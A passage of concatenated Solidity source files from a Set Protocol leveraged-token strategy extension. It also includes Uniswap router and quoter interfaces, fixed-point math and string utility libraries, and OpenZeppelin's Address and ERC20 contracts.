uint256 leverageRatioDifference = _isLever ? _newLeverageRatio.sub(_leverageInfo.currentLeverageRatio) : _leverageInfo.currentLeverageRatio.sub(_newLeverageRatio);
uint256 totalRebalanceNotional = leverageRatioDifference.preciseDiv(_leverageInfo.currentLeverageRatio).preciseMul(_leverageInfo.action.collateralBalance);
uint256 maxBorrow = _calculateMaxBorrowCollateral(_leverageInfo.action, _isLever);
uint256 chunkRebalanceNotional = Math.min(Math.min(maxBorrow, totalRebalanceNotional), _leverageInfo.twapMaxTradeSize);
return (chunkRebalanceNotional, totalRebalanceNotional);
}
/**
* Calculate the max borrow / repay amount allowed in collateral units for lever / delever. This is due to overcollateralization requirements on
* assets deposited in lending protocols for borrowing.
*
* For lever, max borrow is calculated as:
* (Net borrow limit in USD - existing borrow value in USD) / collateral asset price adjusted for decimals
*
* For delever, max borrow is calculated as:
* Collateral balance in base units * (net borrow limit in USD - existing borrow value in USD) / net borrow limit in USD
*
* Net borrow limit is calculated as:
* The collateral value in USD * Compound collateral factor * (1 - unutilized leverage %)
*
* return uint256 Max borrow notional denominated in collateral asset
*/
function _calculateMaxBorrowCollateral(ActionInfo memory _actionInfo, bool _isLever) internal view returns(uint256) {
// Retrieve collateral factor which is the % increase in borrow limit in precise units (75% = 75 * 1e16)
( , uint256 collateralFactorMantissa, ) = strategy.comptroller.markets(address(strategy.targetCollateralCToken));
uint256 netBorrowLimit = _actionInfo.collateralValue
.preciseMul(collateralFactorMantissa)
.preciseMul(PreciseUnitMath.preciseUnit().sub(execution.unutilizedLeveragePercentage));
if (_isLever) {
return netBorrowLimit
.sub(_actionInfo.borrowValue)
.preciseDiv(_actionInfo.collateralPrice);
} else {
return _actionInfo.collateralBalance
.preciseMul(netBorrowLimit.sub(_actionInfo.borrowValue))
.preciseDiv(netBorrowLimit);
}
}
/**
* Derive the borrow units for lever. The units are calculated by the collateral units multiplied by collateral / borrow asset price. Oracle prices
* have already been adjusted for the decimals in the token.
*
* return uint256 Position units to borrow
*/
function _calculateBorrowUnits(uint256 _collateralRebalanceUnits, ActionInfo memory _actionInfo) internal pure returns (uint256) {
return _collateralRebalanceUnits.preciseMul(_actionInfo.collateralPrice).preciseDiv(_actionInfo.borrowPrice);
}
/**
* Calculate the min receive units in collateral units for lever. Units are calculated as target collateral rebalance units multiplied by slippage tolerance
*
* return uint256 Min position units to receive after lever trade
*/
function _calculateMinCollateralReceiveUnits(uint256 _collateralRebalanceUnits, uint256 _slippageTolerance) internal pure returns (uint256) {
return _collateralRebalanceUnits.preciseMul(PreciseUnitMath.preciseUnit().sub(_slippageTolerance));
}
/**
* Derive the min repay units from collateral units for delever. Units are calculated as target collateral rebalance units multiplied by slippage tolerance
* and pair price (collateral oracle price / borrow oracle price). Oracle prices have already been adjusted for the decimals in the token.
*
* return uint256 Min position units to repay in borrow asset
*/
function _calculateMinRepayUnits(uint256 _collateralRebalanceUnits, uint256 _slippageTolerance, ActionInfo memory _actionInfo) internal pure returns (uint256) {
return _collateralRebalanceUnits
.preciseMul(_actionInfo.collateralPrice)
.preciseDiv(_actionInfo.borrowPrice)
.preciseMul(PreciseUnitMath.preciseUnit().sub(_slippageTolerance));
}
/**
* Update last trade timestamp and if chunk rebalance size is less than total rebalance notional, store new leverage ratio to kick off TWAP. Used in
* the engage() and rebalance() functions
*/
function _updateRebalanceState(
uint256 _chunkRebalanceNotional,
uint256 _totalRebalanceNotional,
uint256 _newLeverageRatio,
string memory _exchangeName
)
internal
{
_updateLastTradeTimestamp(_exchangeName);
if (_chunkRebalanceNotional < _totalRebalanceNotional) {
twapLeverageRatio = _newLeverageRatio;
}
}
/**
* Update last trade timestamp and if chunk rebalance size is equal to the total rebalance notional, end TWAP by clearing state. This function is used
* in iterateRebalance()
*/
function _updateIterateState(uint256 _chunkRebalanceNotional, uint256 _totalRebalanceNotional, string memory _exchangeName) internal {
_updateLastTradeTimestamp(_exchangeName);
// If the chunk size is equal to the total notional meaning that rebalances are not chunked, then clear TWAP state.
if (_chunkRebalanceNotional == _totalRebalanceNotional) {
delete twapLeverageRatio;
}
}
/**
* Update last trade timestamp and if currently in a TWAP, delete the TWAP state. Used in the ripcord() function.
*/
function _updateRipcordState(string memory _exchangeName) internal {
_updateLastTradeTimestamp(_exchangeName);
// If TWAP leverage ratio is stored, then clear state. This may happen if we are currently in a TWAP rebalance, and the leverage ratio moves above the
// incentivized threshold for ripcord.
if (twapLeverageRatio > 0) {
delete twapLeverageRatio;
}
}
/**
* Update globalLastTradeTimestamp and exchangeLastTradeTimestamp values. This function updates both the exchange-specific and global timestamp so that the
* epoch rebalance can use the global timestamp (since the global timestamp is always equal to the most recently used exchange timestamp). This allows for
* multiple rebalances to occur simultaneously since only the exchange-specific timestamp is checked for non-epoch rebalances.
*/
function _updateLastTradeTimestamp(string memory _exchangeName) internal {
globalLastTradeTimestamp = block.timestamp;
exchangeSettings[_exchangeName].exchangeLastTradeTimestamp = block.timestamp;
}
/**
* Transfer ETH reward to caller of the ripcord function. If the ETH balance on this contract is less than required
* incentive quantity, then transfer contract balance instead to prevent reverts.
*
* return uint256 Amount of ETH transferred to caller
*/
function _transferEtherRewardToCaller(uint256 _etherReward) internal returns(uint256) {
uint256 etherToTransfer = _etherReward < address(this).balance ? _etherReward : address(this).balance;
msg.sender.transfer(etherToTransfer);
return etherToTransfer;
}
/**
* Internal function returning the ShouldRebalance enum used in shouldRebalance and shouldRebalanceWithBounds external getter functions
*
* return ShouldRebalance Enum detailing whether to rebalance, iterateRebalance, ripcord or no action
*/
function _shouldRebalance(
uint256 _currentLeverageRatio,
uint256 _minLeverageRatio,
uint256 _maxLeverageRatio
)
internal
view
returns(string[] memory, ShouldRebalance[] memory)
{
ShouldRebalance[] memory shouldRebalanceEnums = new ShouldRebalance[](enabledExchanges.length);
for (uint256 i = 0; i < enabledExchanges.length; i++) {
// If none of the below conditions are satisfied, then should not rebalance
shouldRebalanceEnums[i] = ShouldRebalance.NONE;
// If above ripcord threshold, then check if incentivized cooldown period has elapsed
if (_currentLeverageRatio >= incentive.incentivizedLeverageRatio) {
if (exchangeSettings[enabledExchanges[i]].exchangeLastTradeTimestamp.add(incentive.incentivizedTwapCooldownPeriod) < block.timestamp) {
shouldRebalanceEnums[i] = ShouldRebalance.RIPCORD;
}
} else {
// If TWAP, then check if the cooldown period has elapsed
if (twapLeverageRatio > 0) {
if (exchangeSettings[enabledExchanges[i]].exchangeLastTradeTimestamp.add(execution.twapCooldownPeriod) < block.timestamp) {
shouldRebalanceEnums[i] = ShouldRebalance.ITERATE_REBALANCE;
}
} else {
// If not TWAP, then check if the rebalance interval has elapsed OR current leverage is above max leverage OR current leverage is below
// min leverage
if (
block.timestamp.sub(globalLastTradeTimestamp) > methodology.rebalanceInterval
|| _currentLeverageRatio > _maxLeverageRatio
|| _currentLeverageRatio < _minLeverageRatio
) {
shouldRebalanceEnums[i] = ShouldRebalance.REBALANCE;
}
}
}
}
return (enabledExchanges, shouldRebalanceEnums);
}
}
/*
Copyright 2021 Set Labs Inc.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
pragma solidity 0.6.10;
pragma experimental "ABIEncoderV2";
import { FlexibleLeverageStrategyExtension } from "../adapters/FlexibleLeverageStrategyExtension.sol";
interface IFLIStrategyExtension {
function getStrategy() external view returns (FlexibleLeverageStrategyExtension.ContractSettings memory);
function getMethodology() external view returns (FlexibleLeverageStrategyExtension.MethodologySettings memory);
function getIncentive() external view returns (FlexibleLeverageStrategyExtension.IncentiveSettings memory);
function getExecution() external view returns (FlexibleLeverageStrategyExtension.ExecutionSettings memory);
function getExchangeSettings(string memory _exchangeName) external view returns (FlexibleLeverageStrategyExtension.ExchangeSettings memory);
function getEnabledExchanges() external view returns (string[] memory);
function getCurrentLeverageRatio() external view returns (uint256);
function getChunkRebalanceNotional(
string[] calldata _exchangeNames
)
external
view
returns(uint256[] memory sizes, address sellAsset, address buyAsset);
function shouldRebalance() external view returns(string[] memory, FlexibleLeverageStrategyExtension.ShouldRebalance[] memory);
function shouldRebalanceWithBounds(
uint256 _customMinLeverageRatio,
uint256 _customMaxLeverageRatio
)
external
view
returns(string[] memory, FlexibleLeverageStrategyExtension.ShouldRebalance[] memory);
}
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity 0.6.10;
pragma experimental ABIEncoderV2;
/// @title Quoter Interface
/// @notice Supports quoting the calculated amounts from exact input or exact output swaps
/// @dev These functions are not marked view because they rely on calling non-view functions and reverting
/// to compute the result. They are also not gas efficient and should not be called on-chain.
interface IQuoter {
/// @notice Returns the amount out received for a given exact input swap without executing the swap
/// @param path The path of the swap, i.e. each token pair and the pool fee
/// @param amountIn The amount of the first token to swap
/// @return amountOut The amount of the last token that would be received
function quoteExactInput(bytes memory path, uint256 amountIn) external returns (uint256 amountOut);
/// @notice Returns the amount out received for a given exact input but for a swap of a single pool
/// @param tokenIn The token being swapped in
/// @param tokenOut The token being swapped out
/// @param fee The fee of the token pool to consider for the pair
/// @param amountIn The desired input amount
/// @param sqrtPriceLimitX96 The price limit of the pool that cannot be exceeded by the swap
/// @return amountOut The amount of `tokenOut` that would be received
function quoteExactInputSingle(
address tokenIn,
address tokenOut,
uint24 fee,
uint256 amountIn,
uint160 sqrtPriceLimitX96
) external returns (uint256 amountOut);
/// @notice Returns the amount in required for a given exact output swap without executing the swap
/// @param path The path of the swap, i.e. each token pair and the pool fee. Path must be provided in reverse order
/// @param amountOut The amount of the last token to receive
/// @return amountIn The amount of first token required to be paid
function quoteExactOutput(bytes memory path, uint256 amountOut) external returns (uint256 amountIn);
/// @notice Returns the amount in required to receive the given exact output amount but for a swap of a single pool
/// @param tokenIn The token being swapped in
/// @param tokenOut The token being swapped out
/// @param fee The fee of the token pool to consider for the pair
/// @param amountOut The desired output amount
/// @param sqrtPriceLimitX96 The price limit of the pool that cannot be exceeded by the swap
/// @return amountIn The amount required as the input for the swap in order to receive `amountOut`
function quoteExactOutputSingle(
address tokenIn,
address tokenOut,
uint24 fee,
uint256 amountOut,
uint160 sqrtPriceLimitX96
) external returns (uint256 amountIn);
}
/*
Copyright 2020 Set Labs Inc.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
SPDX-License-Identifier: Apache License, Version 2.0
*/
pragma solidity 0.6.10;
interface IUniswapV2Router {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
/*
Copyright 2020 Set Labs Inc.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
SPDX-License-Identifier: Apache License, Version 2.0
*/
pragma solidity 0.6.10;
pragma experimental ABIEncoderV2;
import { SafeMath } from "@openzeppelin/contracts/math/SafeMath.sol";
import { SignedSafeMath } from "@openzeppelin/contracts/math/SignedSafeMath.sol";
/**
* @title PreciseUnitMath
* @author Set Protocol
*
* Arithmetic for fixed-point numbers with 18 decimals of precision. Some functions taken from
* dYdX's BaseMath library.
*
* CHANGELOG:
* - 9/21/20: Added safePower function
*/
library PreciseUnitMath {
using SafeMath for uint256;
using SignedSafeMath for int256;
// The number One in precise units.
uint256 constant internal PRECISE_UNIT = 10 ** 18;
int256 constant internal PRECISE_UNIT_INT = 10 ** 18;
// Max unsigned integer value
uint256 constant internal MAX_UINT_256 = type(uint256).max;
// Max and min signed integer value
int256 constant internal MAX_INT_256 = type(int256).max;
int256 constant internal MIN_INT_256 = type(int256).min;
/**
* @dev Getter function since constants can't be read directly from libraries.
*/
function preciseUnit() internal pure returns (uint256) {
return PRECISE_UNIT;
}
/**
* @dev Getter function since constants can't be read directly from libraries.
*/
function preciseUnitInt() internal pure returns (int256) {
return PRECISE_UNIT_INT;
}
/**
* @dev Getter function since constants can't be read directly from libraries.
*/
function maxUint256() internal pure returns (uint256) {
return MAX_UINT_256;
}
/**
* @dev Getter function since constants can't be read directly from libraries.
*/
function maxInt256() internal pure returns (int256) {
return MAX_INT_256;
}
/**
* @dev Getter function since constants can't be read directly from libraries.
*/
function minInt256() internal pure returns (int256) {
return MIN_INT_256;
}
/**
* @dev Multiplies value a by value b (result is rounded down). It's assumed that the value b is the significand
* of a number with 18 decimals precision.
*/
function preciseMul(uint256 a, uint256 b) internal pure returns (uint256) {
return a.mul(b).div(PRECISE_UNIT);
}
/**
* @dev Multiplies value a by value b (result is rounded towards zero). It's assumed that the value b is the
* significand of a number with 18 decimals precision.
*/
function preciseMul(int256 a, int256 b) internal pure returns (int256) {
return a.mul(b).div(PRECISE_UNIT_INT);
}
/**
* @dev Multiplies value a by value b (result is rounded up). It's assumed that the value b is the significand
* of a number with 18 decimals precision.
*/
function preciseMulCeil(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0 || b == 0) {
return 0;
}
return a.mul(b).sub(1).div(PRECISE_UNIT).add(1);
}
/**
* @dev Divides value a by value b (result is rounded down).
*/
function preciseDiv(uint256 a, uint256 b) internal pure returns (uint256) {
return a.mul(PRECISE_UNIT).div(b);
}
/**
* @dev Divides value a by value b (result is rounded towards 0).
*/
function preciseDiv(int256 a, int256 b) internal pure returns (int256) {
return a.mul(PRECISE_UNIT_INT).div(b);
}
/**
* @dev Divides value a by value b (result is rounded up or away from 0).
*/
function preciseDivCeil(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0, "Cant divide by 0");
return a > 0 ? a.mul(PRECISE_UNIT).sub(1).div(b).add(1) : 0;
}
/**
* @dev Divides value a by value b (result is rounded down - positive numbers toward 0 and negative away from 0).
*/
function divDown(int256 a, int256 b) internal pure returns (int256) {
require(b != 0, "Cant divide by 0");
require(a != MIN_INT_256 || b != -1, "Invalid input");
int256 result = a.div(b);
if (a ^ b < 0 && a % b != 0) {
result -= 1;
}
return result;
}
/**
* @dev Multiplies value a by value b where rounding is towards the lesser number.
* (positive values are rounded towards zero and negative values are rounded away from 0).
*/
function conservativePreciseMul(int256 a, int256 b) internal pure returns (int256) {
return divDown(a.mul(b), PRECISE_UNIT_INT);
}
/**
* @dev Divides value a by value b where rounding is towards the lesser number.
* (positive values are rounded towards zero and negative values are rounded away from 0).
*/
function conservativePreciseDiv(int256 a, int256 b) internal pure returns (int256) {
return divDown(a.mul(PRECISE_UNIT_INT), b);
}
/**
* @dev Performs the power on a specified value, reverts on overflow.
*/
function safePower(
uint256 a,
uint256 pow
)
internal
pure
returns (uint256)
{
require(a > 0, "Value must be positive");
uint256 result = 1;
for (uint256 i = 0; i < pow; i++){
uint256 previousResult = result;
// Using safemath multiplication prevents overflows
result = previousResult.mul(a);
}
return result;
}
}
/*
Copyright 2021 Set Labs Inc.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
SPDX-License-Identifier: Apache License, Version 2.0
*/
pragma solidity 0.6.10;
/**
* @title StringArrayUtils
* @author Set Protocol
*
* Utility functions to handle String Arrays
*/
library StringArrayUtils {
/**
* Finds the index of the first occurrence of the given element.
* @param A The input string to search
* @param a The value to find
* @return Returns (index and isIn) for the first occurrence starting from index 0
*/
function indexOf(string[] memory A, string memory a) internal pure returns (uint256, bool) {
uint256 length = A.length;
for (uint256 i = 0; i < length; i++) {
if (keccak256(bytes(A[i])) == keccak256(bytes(a))) {
return (i, true);
}
}
return (uint256(-1), false);
}
/**
* @param A The input array to search
* @param a The string to remove
*/
function removeStorage(string[] storage A, string memory a)
internal
{
(uint256 index, bool isIn) = indexOf(A, a);
if (!isIn) {
revert("String not in array.");
} else {
uint256 lastIndex = A.length - 1; // If the array would be empty, the previous line would throw, so no underflow here
if (index != lastIndex) { A[index] = A[lastIndex]; }
A.pop();
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.2 <0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
import "../../GSN/Context.sol";
import "./IERC20.sol";
import "../../math/SafeMath.sol";
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name_, string memory symbol_) public {
_name = name_;
_symbol = symbol_;
_decimals = 18;
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
